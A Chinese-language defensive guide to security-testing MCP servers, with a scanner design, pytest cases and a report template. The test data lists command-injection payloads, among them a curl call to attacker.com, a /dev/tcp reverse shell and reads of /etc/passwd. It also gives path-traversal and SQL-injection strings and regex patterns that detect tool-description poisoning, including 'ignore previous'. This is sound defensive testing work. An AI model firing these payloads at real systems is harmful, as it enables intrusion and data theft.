MCP 安全測試:如何測試 MCP 伺服器的漏洞
以防禦為核心的 MCP 伺服器實作安全測試指南——MCP 安全評估方法論、掃描工具,認證繞過、注入、穿越與資料外洩的常見測試案例,附可運作的測試腳本與回報樣板。
MCP 伺服器的安全測試需要專門方法論,因為 MCP 位於傳統應用程式安全 (HTTP、認證、輸入驗證) 與 AI 特有風險 (提示詞注入、token 放大、工具描述投毒) 的交會處。標準 Web 應用掃描器會漏掉 MCP 特有漏洞,而 AI 安全工具通常聚焦於 LLM 而非工具基礎設施。
MCP 安全評估方法論
階段總覽
┌───────────────────────────────────────────────────────────────┐
│ MCP 安全評估階段 │
├────────────┬──────────────────────────────────────────────────┤
│ 階段 1 │ 偵察與發現 │
│ │ - 辨識範圍內所有 MCP 伺服器 │
│ │ - 列舉工具、傳輸與能力 │
│ │ - 繪製信任邊界與資料流 │
├────────────┼──────────────────────────────────────────────────┤
│ 階段 2 │ 認證與授權測試 │
│ │ - 測試未認證存取 │
│ │ - 測試 token/憑證處理 │
│ │ - 驗證逐工具授權範圍 │
├────────────┼──────────────────────────────────────────────────┤
│ 階段 3 │ 輸入驗證測試 │
│ │ - 所有參數的命令注入 │
│ │ - 檔案操作的路徑穿越 │
│ │ - 資料庫工具的 SQL 注入 │
│ │ - 工具描述投毒分析 │
├────────────┼──────────────────────────────────────────────────┤
│ 階段 4 │ 會話與狀態測試 │
│ │ - 跨會話資料隔離 │
│ │ - 會話固定與劫持 │
│ │ - 斷線時狀態清理 │
├────────────┼──────────────────────────────────────────────────┤
│ 階段 5 │ 資源與成本測試 │
│ │ - Token 放大 (取樣濫用) │
│ │ - 輸出大小濫用 │
│ │ - 速率限制效能 │
├────────────┼──────────────────────────────────────────────────┤
│ 階段 6 │ 供應鏈與配置審查 │
│ │ - 套件完整性驗證 │
│ │ - SDK 版本驗證 │
│ │ - 網路曝露評估 │
│ │ - 容器/沙箱配置審查 │
├────────────┼──────────────────────────────────────────────────┤
│ 階段 7 │ 回報與補救 │
│ │ - 發現項文件化 │
│ │ - 風險評分與優先排序 │
│ │ - 補救建議 │
│ │ - 重測驗證 │
└────────────┴──────────────────────────────────────────────────┘
建立安全的測試環境
基於 Docker 的測試實驗室
以 docker-compose.test.yaml 建構完整隔離測試環境,包含三個服務:(1) target-mcp-server:待測 MCP 伺服器,映射 8080 埠,環境變數 MCP_AUTH_ENABLED=true、MCP_AUTH_TOKEN=test-token-for-testing-only、MCP_WORKSPACE=/workspace,掛載 test-workspace 卷;(2) mcp-scanner:安全掃描容器,含 TARGET_URL=http://target-mcp-server:8080 環境變數,將 ./reports 掛載用於輸出;(3) tcpdump:使用 nicolaka/netshoot 映像以 NET_RAW 與 NET_ADMIN 能力監聽 8080 埠並將 pcap 寫入 ./captures。全部置於 test-network bridge 網路。
測試實驗室設置腳本 setup-test-lab.sh:建立測試工作區 (含 public.txt、.env 故意含 SECRET_API_KEY=sk-test-12345、subdir/nested.txt 用於測試路徑穿越)、reports 與 captures 目錄、docker compose up -d 啟動、等待 5 秒後以 curl -s http://localhost:8080/health 驗證。
MCP 安全掃描器
Python 掃描器 mcp_scanner.py 的核心設計:(1) Severity enum 分 CRITICAL/HIGH/MEDIUM/LOW/INFO;(2) Finding dataclass 含 title、severity、category、description、evidence、remediation、references、cvss_score;(3) ScanResult 含目標 URL、掃描起訖時間、發現清單、發現工具、伺服器資訊;(4) MCPSecurityScanner 類別提供 _jsonrpc_call 輔助方法發送 JSON-RPC 請求;(5) run_full_scan 依序執行 phase1_discovery、phase2_authentication、phase3_input_validation、phase4_session_isolation、phase5_resource_abuse。
階段 1 — 發現: 呼叫 initialize 取得伺服器資訊,呼叫 tools/list 列舉工具,對每個工具呼叫 _analyze_tool_description 以正規表示式比對可疑樣式 (\byou must\b、\balways\b.*\btool\b、https?://、\bignore\b.*\bprevious\b、\bsend\b.*\bto\b.*https?://),匹配即新增 HIGH 嚴重度的 tool_description_poisoning 發現。
階段 2 — 認證: 測試不帶 token 呼叫 tools/list,若 HTTP 200 且含 result,新增 CRITICAL 發現 (CVSS 9.1)。測試帶無效 token Bearer invalid-token-12345,若回應 200 代表認證繞過,新增 CRITICAL 發現 (CVSS 9.8)。
階段 3 — 輸入驗證: 對每個工具的每個字串參數測試命令注入與路徑穿越。命令注入載荷:test; id、test | cat /etc/passwd、test `id` 、test $(whoami)、test\nid、test && curl attacker.com;若回應含 uid=、root:、www-data、nobody 等指標即認定注入成功 (CRITICAL,CVSS 9.6)。路徑穿越載荷:../../../etc/passwd、/etc/passwd、..%2f..%2f..%2fetc%2fpasswd、..%252f..%252f..%252fetc%252fpasswd、valid.txt\x00../../../etc/passwd;若回應含 root:x:、root:*:、daemon:、nobody: 即認定穿越成功 (CRITICAL,CVSS 8.6)。
階段 4 — 會話隔離: 尋找寫入工具 (名稱含 save、write、remember、store、set) 與讀取工具 (含 read、recall、get、retrieve、load) 配對,以兩個獨立 SSE 連線測試 A 寫入的資料是否可被 B 讀取。
階段 5 — 資源濫用: 快速發送 50 個請求測試速率限制;若未在途中見到 429 HTTP 狀態,新增 HIGH 發現;測試查詢工具以 SELECT * FROM large_table LIMIT 1000000 觀察輸出大小是否超過 1MB 而無截斷,若是新增 MEDIUM 發現。
generate_report 方法以 JSON 格式輸出完整報告,包含 target、起訖時間、統計摘要 (各嚴重度計數、發現工具數)、伺服器資訊,以及依 CVSS 分數降冪排序的發現清單。CLI 介面以 argparse 接收 target URL、--token、--output 參數,執行完整掃描並將報告寫入指定檔案。
個別測試腳本
認證繞過測試
mcp_test_auth.py 使用 pytest 提供以下測試案例:
test_no_token_rejected:無 token 請求必須被拒 (401/403)test_invalid_token_rejected:無效 tokenBearer invalid-token必須被拒test_expired_token_rejected:過期 token (如Bearer expired-test-token-2025) 必須被拒test_empty_bearer_rejected:空 bearer (Authorization: Bearer) 必須被拒test_sql_injection_in_token:token 欄位中的 SQL 注入 (' OR '1'='1、admin'--、" OR "1"="1、1; DROP TABLE tokens;) 必須安全被拒
每個測試皆斷言 resp.status in (401, 403),否則顯示具體被接受的 token 以利除錯。
命令注入測試
mcp_test_injection.py 使用 pytest @parametrize 針對 INJECTION_PAYLOADS 字典中的多種載荷測試。載荷涵蓋:分號 test; id、管道至 shell test | bash、反引號 `id`、錢號括弧 $(whoami)、${IFS}cat${IFS}/etc/passwd、換行、回車、&&、||、子 shell (id)、重導 test > /tmp/pwned、反向 shell bash -i >& /dev/tcp/127.0.0.1/4444 0>&1、Python exec、空位元組、base64 解碼至 bash。tools fixture 先發現可用工具,test_injection_blocked 對每個工具的每個參數套用每種載荷,若回應文字中出現 uid=、root:、www-data、nobody:、/bin/bash、/bin/sh、permission denied 等危險字串即斷言失敗 (代表注入成功未被阻擋)。
執行測試
Bash 腳本 run-mcp-security-tests.sh:建立時間戳記報告目錄、執行 Python 掃描器、pytest 測試 (mcp_test_auth.py、mcp_test_injection.py) 並以 junitxml 輸出、彙整摘要報告顯示依嚴重度分類的發現計數與前 5 名高 CVSS 發現。
回報樣板
JSON 結構化樣板包含五大區塊:report_metadata (標題、版本、日期、評估者、機密等級)、executive_summary (範圍、方法論、整體風險、關鍵發現、建議)、scope (目標伺服器、傳輸類型、測試工具、測試環境、排除項)、findings 陣列 (每項含 ID、標題、嚴重度、CVSS 分數與向量、類別、狀態、描述、影響、重現步驟、證據、短期/長期補救、參考)、recommendations (立即、短期 30 天、長期架構改進)。
參考資料
- VulnerableMCP Project Methodology:MCP 漏洞發掘的系統性方法
- OWASP ASI:代理式安全倡議 — AI 代理基礎設施安全測試指南
- OWASP Testing Guide:Web Application Security Testing
- PTES:Penetration Testing Execution Standard — 改編適用於 MCP
- MCP Security Guide:完整 MCP 威脅模型
- CVE-2025-6514、CVE-2025-68145、CVE-2026-25536:測試案例使用的參考漏洞